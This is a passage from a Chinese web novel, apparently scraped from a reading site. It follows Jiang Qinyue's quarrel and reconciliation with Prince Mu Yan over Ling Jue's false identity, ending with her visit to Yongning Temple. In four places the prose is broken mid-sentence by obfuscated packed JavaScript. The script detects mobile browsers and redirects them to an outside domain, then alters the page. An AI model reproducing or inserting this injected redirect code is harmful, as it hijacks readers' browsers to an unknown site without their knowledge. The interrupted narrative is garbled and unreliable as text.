那为什么不直接去青楼呢?还要带着她一起……不对不对,这也太ooc了吧?穆衍怎么可能是这种人? 江沁月余光偷瞄着穆衍那边,名叫兰梦的女子低眉含笑,看上去倒是温柔内敛很多。 看来这两位美人,一位是热情似火,一位则柔情似水。 兰梦见这位贵人不动如山,便伸出一双纤纤玉手要攀上穆衍的肩膀。 “你下去吧。”穆衍微微侧开了身子。 兰梦水汪汪的眼睛中满是无措,愣了一瞬后还是告退了。 曼珠这边看着姐妹遗憾离场,心里也不禁打起了小九九。 三公子亲自叫她们来服侍的贵客,若是能博得其青睐…… 再怎么说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298267|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也得为前程搏一搏不是?她心一横直接扑进了身边这位俊俏小郎君的怀中。 这一扑可谓是猝不及防,二人都立刻僵住了。 江沁月低头看向投怀送抱的美人,她的脸正正好好贴在了自己的……胸上。 而她今日换装换得着急,又想着这男装宽松,自己胸也不算大,便没有束胸。 曼珠当然也立刻感受到了她身前的柔软,她错愕地抬头,目光停在了江沁月的颈前。 难怪这位公子看起来格外眉清目秀,原来本身就是个姑娘家。 看来自己一番心思也是白费了。 罢了,姑娘家的话,便更不用顾及了,亲热亲热做做样子给自家主子看吧。 曼珠双手环上了江沁月的脖子,附在她耳边朱唇轻启:“小美人,陪姐姐逢场作戏一下。” 江沁月心领神会,一手揽住曼珠的腰,一手抚上她的脸,手指将她的下巴微微抬起。 嗯,电视剧里沉迷美色的昏君都是这么做的吧?接下来应该说点什么呢…… 还没等她想出台词,便听见身侧一道冷淡的声音响起:“你也下去。” 曼珠抬眼便看见男人的视线牢牢锁定在自己身上——此时不走更待何时? 她悻然退去,房间里又只剩下了他们三人。 江沁月纳闷得很,这穆衍到底是来干嘛的? 对面的青年似乎也有些摸不着头脑,笑容中透露出几分局促。 “不知殿下今日突然到访,胜泉实在有失礼数,招待不周,还请殿下恕罪。” 说完他又看向了江沁月:“这位随殿下一同前来的公子是……?” “江公子是本王的朋友,”穆衍说着向江沁月介绍对面的青年,“这位是千乐坊林老板家的三公子,林胜泉。” 江沁月闻言微微瞪大了双眼。 林老板家的三公子…… 也就是说,对面这位,是真正的林三。 穆衍无视了江沁月的讶异,转而向林胜泉道:“本王今日来,是有事要问你。” “殿下请讲,胜泉定知无不言。” “你认识凌觉吗?” “认识,亦晓和我相识多年了,隔三岔五他便会来千乐坊玩。” “他在外边顶着你的名头,你知道吗?” “这……”林胜泉犹豫了,没有马上回答。 “……我知道,亦晓让我保密。”最终他还是如实相告,“我也不太有所谓,反正我甚少外出,常年厮混在这一亩三分地罢了……” 后面他们还说了什么,江沁月已经听不进去了。 穆衍他知道凌觉就是妙语花,也知道他借用了林胜泉的身份。 江沁月的心情很复杂。 她一时竟不知是该担心凌觉的马甲被掀飞,还是气恼穆衍一直没跟她说实话。 穆衍察觉到了身边人微妙的情绪变化,他神色自若地继续与林胜泉攀谈,余光时不时瞥向江沁月这边。 见她努力维持着面上的平和,穆衍心底涌生出一种莫名的快感。 他想起了江沁月初到王府不久的那个寒夜,他偶然撞见了江沁月和鬼鬼祟祟的“妙语花”。 他质问江沁月那个人究竟是谁时,他记得她说: “我之前答应过要替他保密,所以不会背叛对朋友的承诺。” 可是她信守诺言拼命维护那位“朋友”的一切,不过都是谎言。 穆衍很想知道,当真相如此赤裸地摆在眼前时,她会怎么想? 她平静神情上产生的每一丝裂纹,或许就是无声的答案。 27. 实言叩问起争端 穆衍是临时起意带江沁月来这里的。 他也不知道自己为什么这样冲动。或许是不甘看见谎言揭穿后,就这般云淡风轻地被他二人揭过。 那不如再揭穿得彻底一些。 与林胜泉已经没什么好说的了,穆衍便转头问江沁月:“你第一次来,要不要去下面玩两局?” 温和平淡的语气,仿佛对江沁月的纷乱心绪无知无觉。 仿佛他只是在周全地思量友人初临此地的游玩体验。 “江公子有兴趣的话,胜泉愿亲自奉陪。”林胜泉忙道。 江沁月摇摇头:“不用了,我不会玩这些。” 她哪里还有心思玩? “那我送二位出去,若是以后想来玩的话,派人提前来知会我一声就好。”林胜泉笑着起身准备送客。 “为何还要来?你以为本王是什么人?” 林胜泉的笑容僵在了嘴角。 “殿下恕罪,是不是兰梦曼珠她们惹您不快了……” “与她们无关,”穆衍道,“过去的事我不追究,但不代表我忘记了。还是说三公子忘性大,已经想不起了?” “胜泉怎敢忘怀……是我痴心妄想,妄图乞求殿下原谅。”林胜泉脸色煞白,“扑通”一声跪倒在地。 江沁月看得一头雾水,凌觉的事还没琢磨清楚,这又是在闹哪一出? “起来吧,本王答应了你不再追究便会说到做到,今日找你也只是问事。” 林胜泉还是将他们送到了千乐坊门口。 “三公子,江某有个不情之请,”江沁月思虑再三后还是决定再替那二位美人说说话。 “殿下不解风情,但江某是个怜香惜玉的人,请三公子不要因今日之事责罚兰梦和曼珠她们。” 林胜泉愣了一下,应该是没想到她要说的是这个。 他看向穆衍,见他没想说什么,便笑了笑道’:“这是自然,江公子不必担忧。” …… 这下穆衍与江沁月是真的准备打道回府了。 不知为何,他们下车的地方只剩下了一辆马车和充当车夫的云霏, 江沁月便跟着穆衍一起上了车,彼此之间却依旧无言。 她终于忍不住开口问道:“殿下,其实你早就知道凌觉是妙语花了吧?” “是,他的一切我都知道,”穆衍十分坦诚,“我当时也和你说了,任何靠进王府的可疑之人,我都不会放过。” 原来是那个时候就知道了吗? “那殿下为何不告诉我?”江沁月脱口道。 其实她也没道理去责问穆衍,她当时没跟他说实话,自然也不能要求穆衍将事实主动告知她。 可是她不喜欢这种被戏弄的感觉。 “今日宴会上我既已知晓凌觉的身份,殿下还特意带我来千乐坊,是想告诉我什么?” “告诉我凌觉是个骗子?是个总流连于花天酒地之间的纨绔公子?” “还是告诉我你早就知道了这一切,我之前替他维护,今天瞒着你去见他,不过是个跳梁小丑?” “沁月,我不是有意瞒你,”穆衍道,“你们之间有诸多事务牵扯,我若失言影响了你们的合作关系,那可如何是好?” “耳听为虚,眼见为实,他与真正的林三公子究竟有什么牵扯,当面说请不是更明了?” 他语气和缓,也不因江沁月不敬的责问而愤怒,就像是多么为她着想似的。 上次太子大婚时,凌觉抱病未能到场,没能早些揭晓真相穆衍深感遗憾,如今终于能一吐为快。 想到这,他唇角勾起一丝愉快的弧度。 江沁月想驳斥他,又被噎得不知道说什么好。 “那林三公子林胜泉,你本也是知道的。”穆衍接着道。 “我认识?”江沁月的脸上写明了不信,她在这里能认识谁? “他就是你们之前故事中的小胜啊,不然你以为,凌觉怎么会知道那些事?” 小胜?江沁月反应了一下,总算是想起来了。 数年前被初到京城的穆衍所救,又背叛他害他被李岱等人关在柴房欺凌一天一夜的那个小孩。 难怪穆衍看上去不太待见林胜泉,说话也不留情面。 “真是难为殿下了,亲自带我来走一遭,就为了让我‘耳听为虚,眼见为实’。”江沁月嘲弄道。 穆衍没有接话。 其实谈不上难为,他与林胜泉这些年是有些来往的,更确切地说,是林胜泉单方面的讨好。 一开始林胜泉的家境并不好,后来不知怎的得了笔钱,开了一家赌坊,越做越大,直至今日便成了京城头号销金窟千乐坊。 家里发迹后,林胜泉便时常携礼登门拜访,穆衍一开始是不见他的,不料母妃偶然问起此事,他怕引起母妃怀疑从而揪出李岱那档子事让她忧心,便与林胜泉维持着表面往来。 “就不劳殿下费心了,人与人之间没有百分百的坦诚,我知道凌觉有苦衷,这种谎言无伤大雅。” “倒是殿下,既然早已知晓他的身份,那以后也请继续替他保密,我替凌觉多谢殿下了。”江沁月没好气道。 穆衍哂笑一声:“既然不必完全坦诚,那你又何必如此大动肝火?另外,江姑娘就没有事情瞒着我吗?” 江沁月相当理直气壮:“我有什么好瞒着你的?瞒得过你吗襄王殿下?” “今日引我去芳华殿,拉上那李家小姐一起去游船,江姑娘想必比我更清楚是为了什么。” 坏了,把这事给忘了。 但说起这江沁月就更来气了,不为了任务还能为了什么? “行啊,实话我全告诉你,就是为了你的婚事,”江沁月双手抱胸往车壁上一靠,“淑瑶让我先瞒着你,让你和李妍结亲也是陛下的意思,谁知道来的是李娴呢?” “那来都来了,就只能先让你们认识认识啊,我还能怎么办?” 穆衍沉默地盯着她,直把她看得发毛。 江沁月忍不住开始反思自己是不是说话太冲了,再怎么说穆衍也是封建王朝的高位者,那她自己在公司也不敢对领导这样小发雷霆…… 这时穆衍却别开了视线,轻声道: “你对淑瑶的提议言听计从,能理解凌觉的苦衷接受他的谎言,还替李娴争辩为她出头,甚至方才认识不到一刻钟的那两名女子,你也怕她们被责罚帮她们说话。” “你总是很在意他人,那你有在乎过我的想法吗?我之前与你谈过我无意成婚,不想耽误人姑娘家,可是你还是瞒着我,要撮合我与李家女。” 说到这,穆衍终于看向她,眸色晦暗不明,隐隐透出几分不甘。 “甚至在我问你之前,你都没想过要跟我解释一下,沁月,你把我当什么呢?” 他的问语很轻,仿佛一片羽毛,却重重地落在了江沁月的心上。 他问,她把他当什么? 江沁月嘴唇翕张了几下,最终却什么也没有说出来。 来到这里也已经挺长一段时间了,若真论起来,穆衍确实是她某种意义上的老板,大概也能算是朋友。 可是眼见任务或有转机,她就激动地昏了头脑,又把自己放在了作者的位置上,再也顾不得穆衍怎么想,一意按自己的主张行事。 她突然觉得这个任务很可笑。 穆衍是一个活生生的人,当她真正地来到他身边后,她又如何能左右他的人生呢? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308401|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >接下来的路程上,二人之间再也没有说过一句话。 马车内也点着熏香,江沁月忽然莫名觉得有些透不过气来。 她掀开帘布,趴在窗沿呼吸新鲜空气,再不看穆衍一眼。 终于是回到了王府,江沁月迫不及待地跳下了马车。 穆衍也下车后,她还是忍不住问道:“殿下,我最后问你一个问题,事已至此,你对李娴是什么想法?” “若是我对她有意,你要去回了淑瑶,让陛下立马下旨赐婚吗?” 穆衍像是听到了什么笑话,说完便拂袖而去。 江沁月也被激起了脾气,冲回房间便拿起手机给漆桐发消息。 江沁月:“我不干了!快送我回家!” 漆桐:“?” 漆桐:“亲亲,你目前还没有达成回家的条件呢。” 江沁月:“达成不了,你老人家另请高明吧。” 漆桐:“怎么会呢?我正要联系你,据我观察,你的任务有重大突破哦~” 这下轮到江沁月缓缓打出了一个问号。 漆桐:“之前答应你想办法看看任务进度,虽然我没有研究出什么高科技手段数字化显示,但我观察到了穆衍的命星——虽然无法窥见长远未来,但是对最近的事物还是能有所预示。” 漆桐:“我观其红鸾星动,这意味着什么不用我多说了吧?若是你能帮他成就这段良缘,回家一事指日可待。” 漆桐:“不过这良人是谁,就要靠你自己去寻找了,据星象显示,此事也只是略有苗头。” 江沁月看着手机上的消息陷入了沉思。 联想到方才穆衍说的最后那句话,这良人莫非是李娴? 难道他对她有意,只是不好意思直说? 短短一天过得如此一波三折,江沁月真的已经精疲力尽,她彻底放弃了思考,一头倒在床上将脸埋进了被子里。 这一倒便直接睡了过去,不知过了多久,江沁月迷迷糊糊地被云霞叫醒。 “江姑娘,晚膳时间到了,可要收拾一下去殿下那边?” 江沁月坐在妆台前,看着镜中自己凌乱的头发和还没换掉被压得皱巴巴的男装,一点收拾的心情都没有。 想起今日种种,最后也是不欢而散,她有些不知该怎么面对穆衍。 “我今天太累了,也不饿,就不去用晚膳了吧?”江沁月决定先当一会儿缩头乌龟。 云霞也没再多问,只说去梧桐苑给穆衍传个话。 “好,麻烦你跑一趟了。”江沁月暗自松了一口气。 穆衍听到云霞的传话时,热腾腾的饭菜刚好端上桌。 “知道了,下去吧。” 云霞等了片刻,见穆衍没动筷子也没说话,一时拿不准主意是走是留。 云霏在穆衍身后比了个手势让她先走,她正要退下时,却又被穆衍叫住。 “等等,你拿食盒来,把桌上的饭菜装一些回去,午宴吃得不多,晚膳不吃不行。” 云霞离开后,穆衍也只应付了几口,就命人把菜撤走了。 他瞥了端药来的云霏一眼:“你也下去吧。” 穆衍端起那青瓷碗,其中黑褐色的汤药还冒着热气,他却似乎对碗底的滚烫毫无知觉。 他走到窗边,垂眸看见自己的倒影在晃荡的液体表面扭曲变形。 窗台下,之前被他祸害死的花树已经换上了新的,现下不是花期,只有葱翠的绿叶。 他将碗沿微微倾斜,看药汁一点点流入窗下的叶丛中。 苦涩的药味混着潮湿的泥土腥味翻涌上来,穆衍蹙眉掩鼻,将小香炉摆到了窗边的案前。 袅袅细烟飘摇而上,屋内只有一如既往的冷清。 28. 寻觅苦等终不见 自那日之后,江沁月与穆衍之间微妙地陷入了一种类似冷战的状态。 越是逃避,便越不想面对,好在偌大的王府里他们分别住在东西两侧,平日里不太可能碰上。 但是,云霞这姑娘不知是得了穆衍的授意,还是单纯一根筋地公事公办,每天雷打不动地来问她要不要去梧桐苑吃饭。 头疼脚疼肚子疼……能想到的借口江沁月都讲了个遍,再这样下去可不行。 好在她很快就想到了办法。 “云霞,我招揽了新人来书坊做事,最近估计得在那边忙一段时间,午饭和晚饭我就在书坊解决就好。” “你就不用跟我一起去了吧?反正也近,不会有什么事的。” 说谎的最佳形式就是真话假话参半说,有新人是真,有事忙也是真,但江沁月没打算一直在书坊里呆着。 云霞毕竟是穆衍的人,她自然要将其支开,免得她给穆衍打小报告。 “好,有事的话,江姑娘请随时叫我。”云霞不疑有他。 江沁月欣慰地点点头,心里的小算盘打得噼啪响。 先去书坊虚晃一枪,来一招金蝉脱壳,接着神不知鬼不觉地摸上顺路而来的凌觉的马车,搭他的便车一起前往邀月轩。 到邀月轩时正好能赶上午饭,待到吃了晚饭再回王府,一切都如此刚刚好。 天衣无缝的完美计划。 经过几天的实践,这一套流程江沁月已是烂熟于心。 “走吧走吧!”这日江沁月打点好书坊的一切后,又一次轻车熟路地跃上凌觉的马车,催促他赶紧动身。 凌觉看她一直透过窗缝观察外面是否有人,直到远离王府好一段距离才安心坐好,忍不住道: “沁月,你这天天跟做贼似的,搞得我也紧张得很。” “说真的,若是在王府呆不下去的话,就趁早搬出来吧,此处不留人,自有留人处嘛。” 江沁月瞪他一眼:“你说为何我在王府呆不下去?还不是都怪你!” 凌觉识趣地噤了声。 “懒得跟你废话,我留在王府是因为别的事,你别管了。”江沁月准备闭目养神一会儿,“总之这几日多谢你了,至于还得麻烦你多久,我也不知道。” 这厢江沁月在邀月轩蹭吃蹭喝好不快活,王府中穆衍却难得地去了清秋苑。 云霞彼时正在院子里扎秋千,浑然不觉有人来了。 “你扎秋千做什么?她在里面吗?” “殿下?”云霞连忙起身,拍了拍手上的灰,“江姑娘不在,她说有事要忙,这几日都在书坊那边。” “江姑娘还让我不必跟着,说想在院中扎个秋千好赏花看书。” 江沁月是为了拖住云霞,以免她发现自己的行踪,特意给她安排了这项“任务”,还千叮万嘱她别着急慢慢弄。 穆衍闻言微微蹙眉,转身自个儿朝书坊去了。 书坊中自然不会有江沁月的身影。 他走进江沁月之前给自己辟出的独立办公室,却见到了一道意想不到的身影。 “见过襄王殿下。”李娴也没想到穆衍会突然过来,连忙扔下手中正在看的书起身行礼。 “你怎么在这?沁月呢?”穆衍问道。 这当然也是江沁月的安排——招揽来的新人毫无疑问就是李娴了。 其间自是有她的诸多考量。 赏春宴后漆桐告诉她,穆衍“红鸾星动”,虽然他看上去对李娴无意,但如此巧合的时间,她不敢武断地判定李娴不是星象预示的良人。 正所谓近水楼台先得月,虽然穆衍不常来书坊,但让李娴来到这里,二人能有接触的机会也多一些。 当然,此事要徐徐图之,切不可操之过急。 另外江沁月也是真心为李娴考虑,她在家中的日子应是不太好过,能在外面躲个清净,也总比在府中一直被兄姐欺负好过。 李娴自然也明白这一点,所以收到江沁月询问的来信时便立马答应了。 “江姑娘方才有事出去了,殿下有什么事的话,臣女愿代为转达。”她十分镇定地为江沁月打掩护。 “不必了,没什么大事。”穆衍淡淡道。 方才出去?哄傻子罢了。 稍一转念穆衍便猜到了她会去哪里。 费尽心思躲着自己,对那位朋友的欺骗却可以不计前嫌。 “殿下?”李娴看着他略显阴沉的神色,担忧地唤了他一声。 穆衍回过神来,扯出一个浅淡的笑容:“你忙你的,对了,不必告诉她我来过。” …… 这些时日来江沁月与穆衍再未见过,倒也能算得上是相安无事。 摆烂一段时间也未尝不可,反正她时刻牵挂任务时也没见得有什么进展。 好不容易努力一把还弄巧成拙,搞得她都不太敢见穆衍。 穆衍来书坊的事,李娴原原本本地告诉了江沁月,但这样一来,江沁月心里更没底了。 罢了,就如他所愿,假装不知道他来找过自己吧。 又过了几日,穆衍再次来到清秋苑时,云霞刚好扎好了秋千。 秋千搭在了院中的紫藤花架下,云霞做得精细,在两边的吊绳上装点了许多鲜花,还在秋千的座椅上放上了软垫和薄毯。 “殿下找江姑娘么?她一般要用完晚膳才回来……” “无妨,我在这等她。”穆衍坐上秋千轻轻晃荡着,抬头便能看见繁盛的紫藤花如瀑布般倾泻而下。 夕阳余晖洒在他仰起的面庞上,为他镀上一层柔和的光晕。 估摸着江沁月用不了多久也就回来了,云霞便侍立在侧,陪穆衍一同等着。 这一等,便直等到最后一缕斜阳消失在天际。 她还是没有回来。 平日里这个时间江沁月早已回来,今日却仍不见她踪影,云霞此刻有如芒在背。 她忍不住道:“殿下,属下这便去书坊那边瞧一眼,可别是江姑娘出了什么事。” “她不会有事的。”穆衍依旧悠悠地荡着秋千,很有耐心地等待着归人。 庭院中还没来得及点灯,只一轮皓月当空,清冷的月光洒在他身上,映着他的脸色显出几分苍白。 眼前明明是再熟悉不过的殿下,云霞却恍惚地感受到了几分陌生。 “殿下,我先去厨房取些吃食来吧。”她出去时还叫来另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325246|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外几个侍女,给庭院和厅堂里都点上了灯。 静谧的夜色里,清秋苑连通王府外的小门处传来几声动静。 是她回来了吗? “阿霞——我回来啦——你过来一下——”江沁月拖长了声音喊道。 “阿霞!云霞?你在吗?” 没听见人应声,她又嘟囔道:“不会吧……难道是又去给穆衍打小报告了……” 听这含混不清的语句,她喝了酒? “啊!”忽又听见江沁月一声惊呼,伴随着“哐当”一声巨响。 穆衍从秋千上起身,正要去查看一下情况,却又顿住了脚步。 他所在的位置是个死角,恰好能看到门口的情况,门口的人却看不见他。 他看见那个男人架住了江沁月——以一种几乎是环抱的姿势。 是凌觉。 “沁月你小心点!门槛都能绊倒你,要不还是我送你进去吧?” 江沁月站稳后便一把推开了她:“你可别进去了……小心有人要割了你的耳朵舌头,到时候……要了你的命也说不准。” “放心好了,就这么点路我走回去没问题的,”江沁月把他又朝门外推了推,“你也快回家吧,男孩子晚上一个人在外面不安全。” 送走凌觉后,江沁月也缓步走到了庭院前。 春夜清静,连一丝风声也听不到,只有那架秋千兀自轻轻摇荡。 “殿……江姑娘?你终于回来了。”云霞看见江沁月时有些讶异。 她匆匆环视一圈,确定穆衍已经离开了。 江沁月面不改色道:“今晚我们去外面下了馆子喝了点酒,回得就晚了些。” 此言不假,今儿个是十五,她与凌觉、赵昭兰临时起意,决定小酌几杯共赏月色。 江沁月指了指云霞手中的食盒:“是去厨房拿吃的了吗?我说刚才怎么没看见你呢。” “啊……我担心江姑娘忙得太晚没来得及吃饭,就想着拿点吃食回来预备着。” 云霞犹豫了一下,看这情况江姑娘应该没有见着殿下,既然殿下先行一步,她便也瞒了下来。 “谢谢阿霞!刚好我今晚没有吃饱。”江沁月笑道,“这个秋千也很漂亮,你太厉害了。” 她其实也不太饿,只是不想辜负云霞的心意,便象征性地吃了几口。 云霞见她放下了筷子,还贴心地端来一碗醒酒汤。 多好一姑娘啊,人家对自己无微不至地关心照顾,自己却绕着弯儿地跟她玩心眼子。 江沁月一边小口啜饮着,一边在心中默默跟云霞道歉。 转眼间又是小半个月过去了,江沁月躺在床上辗转难眠。 枕头下的手机嗡嗡震动了几下,她摸出来一看,原来是漆桐难得主动发来了消息。 “你那边有什么情况吗?” 屏幕上只有这么没头没尾的一句话。 “无。”江沁月言简意赅。 “那你得多注意一下,据我观察,穆衍最近恐有性命之忧。” 江沁月大骇,猛地从床上坐了起来。 “这得我问你什么情况吧?不要用这么平淡的语气说出这么恐怖的话好吗?” 29. 不辞山远终释嫌 “我哪里知道具体情况?只是见星象有异提醒你一下,多留意他的情况,做好心理准备。” 江沁月悚然,准备什么?准备后事吗?她的漫漫回家路就要这样断掉了吗? 屏幕上又弹出了漆桐的新消息。 “其实从你初到此地救了他之后,他的命运便已然被改写,正因你不属于这里,才会为他带来新的转机,这次你也一定可以。” “不过你也别太紧张,穆衍他身体不好,命星本就暗淡一些,观星一事也受诸多因素影响。”最后她安慰道。 等等,身体不好?江沁月突然想起一件重要的事—— 最近她再没见过穆衍,他不会又在作死,没有好好吃药吧? 次日一早,江沁月便问了云霞。 “这我不太清楚,姑娘也知道的,殿下那边一直是云霏在随侍。” 云霞说着又叹了口气:“殿下若是铁了心不愿吃药,我们这些底下的人也不知道该怎么办,总不能绑着殿下强灌下去……” “也就是前些时间有江姑娘看着,殿下才安生喝了几日药。” 江沁月沉思片刻后,像是终于下定了某种决心:“阿霞,我们去清秋苑一趟。” “江姑娘,”云霞叫住了她,“殿下他……他现在不在王府。” 江沁月奇道:“这么早就出去了?那等他回来我们再过去吧。” “……殿下他昨日便走了,宫里传旨说陛下近来身子不太好,要皇室宗亲与朝中重臣前往永宁寺为陛下祈福,恐怕得小半个月后殿下才会回来了。” 江沁月一下子犯了难,在房间里焦急地踱来踱去。 漆桐的警示如同不定时炸弹一般牵扯着她的心弦,接下来的这段时间,难道就要听天由命吗? 云霞上前拉住了无头苍蝇一般乱撞的江沁月:“江姑娘莫急,殿下走之前特意留了话,说若是姑娘问起他,便转达给你。” “什么话?” “殿下说,永宁寺的斋饭很好吃,江姑娘若是有兴趣的话,可随时前往,他为江姑娘单独留了一间禅房。” 这话听着有些别扭,但似乎也算是给自己找了台阶下,再加之漆桐的话实在是令人担忧…… “好,我去。”江沁月斩钉截铁道,“我们什么时候走?” 下午时分,江沁月和云霞站在山门前,沉默地望着眼前蜿蜒而上望不到头的石阶。 “永宁寺不是皇家寺院吗?怎么不修条车道直通上去?”江沁月诚挚地提出了自己的疑问。 云霞解释道:“净云峰山势陡峭,修路劳民伤财,且高祖陛下说,步行上山更能体现朝拜的诚心。” 江沁月指了指脚下,又指了指山顶隐约能看见的金殿飞檐:“等我们爬上去,岂不是天都黑了?” “江姑娘不必担忧,永宁寺在北峰的山腰处,哪怕我们走得慢些,也能赶在晚膳前到达。” “那就好那就好……”听闻运动量减半,江沁月心情明快许多,“事不宜迟,我们赶紧走吧。” 刚开始的山路不算难行,人也精力充沛,她们边走边随意地聊着天。 “阿霞,既然永宁寺是在半山腰,那山顶上的金顶建筑是什么?”江沁月好奇道。 “那是净云观,里面供着的是穗泽娘娘。” “穗泽娘娘?”江沁月思索了一下,确信自己从未听说过这路神仙。 这下倒是云霞有些讶异:“江姑娘不知道吗?” 江沁月谨慎地答道:“确实未曾听闻……我家乡地处偏远,交通不便,我们那里只有个土地庙。” 云霞了然地点点头,接着就将这位穗泽娘娘的事迹与她详细说了一通。 原来这位穗泽娘娘本不是什么天神,而是高祖皇后程净云。 高祖在位时,有一年旱情严重,庄稼颗粒无收,饥荒严重,民心大乱。 皇后程净云亲自施粥赈灾,后又登上京郊最高的山峰,日日斋戒焚香,向上天祈求来年风调雨顺,五谷丰登。 许是她的诚心祈愿感动了上苍,第二年竟真的是个丰年, 但就在这个秋天,皇后薨逝,京城下了一场大雨,雨后漫天彩霞久久不散。 世人皆说,皇后仁心济世,爱民如子,所以已然得到飞升。 高祖皇帝悲恸不已,重新修葺了山顶的建筑,为皇后塑像供奉于此,尊号“穗泽”,并以她的名讳为这座山峰命名。 春种秋收,高祖至今二百余年间,供奉参拜之人络绎不绝。 千秋万代,大梁子民会一直被穗泽娘娘庇佑。 江沁月听完后感到一阵心虚,如此备受尊崇的神明她都不知道,这显得她太像个反动分子了。 没办法,她只是一个写书的,又不是写史书的,这里的历史她自然无从得知。 云霞接着介绍道:“大梁的每一任皇帝,每年八月都会上净云观祭拜穗泽娘娘,每三年还会率百官举行一次丰年祭,说起来今年正好会举行呢。” “我们这一路走来都没见着来参拜的人,是不是封山了?”江沁月问道。 云霞点点头道:“平日里永宁寺和净云观都是对百姓开放的,这几日要为陛下祈福,所以暂时封闭了。” “江姑娘若是有兴趣,这几日得空可以去净云观看看。” 江沁月是个缺乏锻炼的,走了没一会儿便累得闭了麦,再不想说话了。 云霞是个练家子,她看出江沁月体力不支,也陪她放慢了脚步。 “江姑娘若是实在累了,我可以背你上去。”云霞热心提议。 这时江沁月正坐在路边石头上休息,闻言连忙站了起来:“不用不用!我能行!” 云霞还是默默接过了江沁月的包袱,替她减轻了负重。 最终也如她之前所言,二人还是赶在晚膳前抵达了永宁寺。 江沁月累得两股战战,抱着云霞的胳膊才借力站稳了脚。 “江姑娘,殿下的禅房在最上面,我们还得接着往上走。”云霞道。 “啊——”江沁月哀嚎一声,被无情地拖着继续前行。 终于踏进了穆衍提前为她准备好的禅房,江沁月一屁股坐了下来,再也不想动弹一步。 “殿下就住在隔壁禅房,但现下似乎不在,我去看看情况,江姑娘先好好休息吧。” 云霞说完给她倒了杯茶,便出去了。 她与穆衍所在的禅房是在永宁寺最高处一间单独的院落中,十分清静幽远。 江沁月打量了一圈,房间里干净整洁,檀香阵阵,家具陈设不多,简单却不简朴,不愧是皇家寺院。 “沁月,你来了。”久违又熟悉的声音忽然响起。 江沁月抬眼一看,穆衍颀长的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334813|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影立于门边,一如既往的风姿绰约。 眼看她正要起身行礼,穆衍忙道:“坐着歇息吧,这一路上来你肯定累得不轻。” 穆衍在她对面坐下,这一离得近了,江沁月才观察到,他的脸色看上去比以前更苍白几分,人似乎也清减了些。 “殿下,你瘦了,脸色看上去也不太好。”她双眉微蹙,直直地看着穆衍。 穆衍僵了一瞬,别开脸道:“永宁寺的斋饭虽做得精致,但这般天天吃素,谁都得清瘦几分。” 他来这里不过两日,便吃素吃得人苍白消瘦,照他这样说的话,那吃斋念佛的和尚们都活不了了。 江沁月确定以及肯定,他在作死。 她斟酌着正准备说些什么,寺里的小和尚却在这时送来了晚膳。 “一起吃饭吧?云霞说你最近在书坊那边很忙,我们都很久没一起吃过饭了。”穆衍道。 自他进屋起,他的语气便是一贯的温和平淡。 仿佛他们之间什么也没发生过,仿佛冷战只是江沁月的一厢情愿。 “好,先吃饭吧。”江沁月长叹一口气,打算待会儿再对他的身体健康进行关怀问候。 永宁寺的斋饭确实做得不错,有好几道还是颇费功夫的“仿荤菜”,用豆腐、豆皮、面筋等素菜模拟荤菜的形态,甚至口感也极为相似,但细嚼起来还是比不得真正的大鱼大肉。 一顿饭竟吃得江沁月分外煎熬,到最后也就稀里糊涂吃了个六七分饱。 她咬了咬牙,鼓起勇气直截了当道: “殿下,我来这里不是为了吃斋饭。我是想要请求你,无论如何都请保重身体,不要作践自己。” “还有!”江沁月垂眸绞着自己的手指,继续说道: “殿下上次问我,把你当什么,我想答案应该是朋友,当时没有回答你,是因为我觉得自己愧对于这两个字。” 说到这,江沁月抬头望着穆衍的双眼。 “我自私地以为那样是对你好,却瞒着你没有考虑过你的感受,这不是朋友该有的作为……” “我怕你生气,不知道该怎么面对你,就一直在当缩头乌龟。对不起,殿下。” 他本想粉饰太平,那日的事就此翻篇,江沁月却又戳破了这层窗户纸。 朋友——这是他想得到的答案吗? 可是她有好多的朋友。 朋友怎么会是唯一的呢? 穆衍轻声道:“……沁月,我从来没想过要怪你,我来找过你,只是你不在。” 不在王府,不在书坊,瞒天过海和那个满口谎言的花花公子纠缠不清。 